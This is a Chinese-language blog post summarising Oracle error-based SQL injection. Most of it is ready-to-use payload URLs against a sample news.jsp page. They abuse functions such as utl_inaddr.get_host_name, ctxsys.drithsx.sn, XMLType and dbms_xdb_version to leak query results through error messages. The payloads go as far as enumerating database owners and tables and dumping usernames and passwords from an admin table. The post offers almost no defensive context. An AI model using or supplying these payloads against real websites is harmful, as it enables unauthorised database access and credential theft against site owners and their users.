Oracle报错注入总结

0x00 前言

在oracle注入时候出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中。

使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式。

判断注入

http://www.jsporcle.com/news.jsp?id=1 and (select count (*) from user_tables)>0 --
http://www.jsporcle.com/news.jsp?id=1 and (select count (*) from dual)>0 --

0x01 报错函数注入

utl_inaddr.get_host_name()进行报错注入

and 1=utl_inaddr.get_host_name((select user from dual))--
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--

utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。

我们传递的是一个sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。通常非常重要的信息有:

 

 

 

ctxsys.drithsx.sn()进行报错注入

http://www.jsporcle.com/news.jsp?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --

 

 

 

XMLType()进行报错注入

and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
http://www.jsporcle.com/news.jsp?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --

 

 

 

dbms_xdb_version.checkin()进行报错注入

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --
查询版本信息
http://www.jsporcle.com/news.jsp?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --

 

 

bms_xdb_version.makeversioned()进报错注入

and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --

 

 

dbms_xdb_version.uncheckout()进行报错注入

and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --

 

 

 

dbms_utility.sqlid_to_sqlhash()进行报错注入

and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --

 

 

 ordsys.ord_dicom.getmappingxpath()进行报错注入

and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

 

 

 

decode进行报错注入

这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。

and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

 

0x02 报错函数注入数据

Oracle 数据库的注入不同于其他数据库,如Access 和Mysql,它包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名

爆库 第一行记录

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (SELECT DISTINCT owner FROM all_tables where rownum=1) from dual))--

爆表 第一行第一个记录

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --

第二个记录

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$'))) --

报错admin表的 用户和密码

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--

 

 其他报错函数大同小异。

 

 

 

posted @ 2019-05-30 15:00  卿先生  阅读(9990)  评论(1编辑  收藏  举报